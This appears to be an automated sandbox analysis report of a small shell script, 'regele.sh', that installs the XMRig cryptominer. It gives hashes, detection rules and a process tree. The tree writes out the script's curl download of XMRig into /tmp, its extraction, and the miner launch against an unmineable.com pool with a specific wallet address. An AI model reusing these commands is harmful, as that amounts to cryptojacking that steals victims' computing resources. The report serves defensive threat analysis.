xmrig | 18233feed3f3933b85e713b8248f627c120085ed54059727f22524eee5e4ee05

Analysis

max time kernel
6s
max time network
6s
platform
debian-9_mipsel
resource
debian9-mipsel-20240729-en
resource tags

arch:mipselimage:debian9-mipsel-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
10/04/2025, 04:55

Target

regele.sh
Size

630B
MD5

4abbca2cbf6028e552f2076c039f5760
SHA1

c29ce9227290d376e70d1ca1ec32e77b95f0c230
SHA256

18233feed3f3933b85e713b8248f627c120085ed54059727f22524eee5e4ee05
SHA512

5c3d4aba59c78c56c4d07b282e25f57482e94d1a5856e17823461397a7cab6b8ad5bc7f388eeb2249b2f104a1d00c0ef57ece35990120e77825d6a02c31debc4

Score

10^/10

XMRig Miner payload 2 IoCs

miner

resource	yara_rule
behavioral6/files/fstream-2.dat	family_xmrig
behavioral6/files/fstream-2.dat	xmrig

Xmrig family
xmrig
Xmrig_linux family
xmrig_linux
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig_linux

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/xmrig-6.21.0/xmrig	736	regele.sh

Reads runtime system information 2 IoCs

Reads data from /proc virtual filesystem.

description	ioc	Process
File opened for reading	/proc/filesystems	tar
File opened for reading	/proc/sys/crypto/fips_enabled	curl

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/xmrig-6.21.0-linux-x64.tar.gz	curl

/tmp/regele.sh
/tmp/regele.sh
1⤵
- Executes dropped EXE
PID:703
- /usr/bin/curl
  curl -LO https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-linux-x64.tar.gz
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:705
- /bin/tar
  tar -xf xmrig-6.21.0-linux-x64.tar.gz
  2⤵
  - Reads runtime system information
  PID:734
- - /usr/local/sbin/gzip
    gzip -d
    3⤵
    PID:735
- - /usr/local/bin/gzip
    gzip -d
    3⤵
    PID:735
- - /usr/sbin/gzip
    gzip -d
    3⤵
    PID:735
- - /usr/bin/gzip
    gzip -d
    3⤵
    PID:735
- - /sbin/gzip
    gzip -d
    3⤵
    PID:735
- - /bin/gzip
    gzip -d
    3⤵
    PID:735
- /tmp/xmrig-6.21.0/xmrig
  ./xmrig -a rx -o stratum+ssl://rx.unmineable.com:443 -u "LTC:LhDEf9iRg9nvTXQXumgzaLJfh75LuZgfJM.unmineable_worker_zlsfjzbq#ps2x-7x9c" -p x
  2⤵
  PID:736
- /bin/sleep
  sleep 60
  2⤵
  PID:738

/tmp/xmrig-6.21.0-linux-x64.tar.gz

Filesize
3.4MB

MD5
9dce7e18281721dfcac5336501edf1f9

SHA1
ce0e66d903639e185b3e2700253eb49fa410122b

SHA256
7662ccbd97f0b579e9faf025b9872dc20759a791b572946aec247c12334e0d3f

SHA512
8d0621bc362b632951b5a067b4894523b15c07d5c1638bcf544be3fc2f1014f8612da02d20bedd4a209012cdbcd5dce90d18ddd92f38a299a1ac24eddae2ecbd

Download Submit
/tmp/xmrig-6.21.0/SHA256SUMS

Filesize
150B

MD5
4b1be200fc3721e0b9823defce7f54c8

SHA1
fa39e968a868247912308fcfeb2d73240fa67602

SHA256
7d619ce59ab5ac3ce599499798f42c7a0c3b4b3814a99904dc26d9b7e0498ae8

SHA512
4467cf578d11decbdfc16d1f756d4e3362a34d5cd614b00bdfca75c7c24b371292cea853081dc6321e2b75fd3918dd4e2465c4b1af3086d1be230ecdc97dd7b6

Download Submit
/tmp/xmrig-6.21.0/config.json

Filesize
2KB

MD5
66f38c96a4901e7b345787c447842b3e

SHA1
2aa9b4d1bd2edd5d81bd9725e9318edaee67531f

SHA256
2b03943244871ca75e44513e4d20470b8f3e0f209d185395de82b447022437ec

SHA512
71757fad29d6d2a257362ed28cde9f249cc8a14e646dee666c9029ea97c72de689cdf8ed5cf0365195a6a6831fe77d82efe5e2fa555c6cc5078f1f29ae8dd68f

Download Submit
/tmp/xmrig-6.21.0/xmrig

Filesize
8.5MB

MD5
86f2790c04ccd113a564cc074efbcdfd

SHA1
b1cbe9ae844c36b49ccedfa3036945dee2b3372b

SHA256
92dcc363ed05c5e4ae9008f7d0d41b1ad1ae9caead9d4f3598c566b185078b4b

SHA512
2cbe961abe4c2a3bf7f20968b7919a25f82ce0efa367eca390d847da35c4784a726bfec0405802471cca00da445764316a4d8101798cc5eba721f53a11e1223c

Download Submit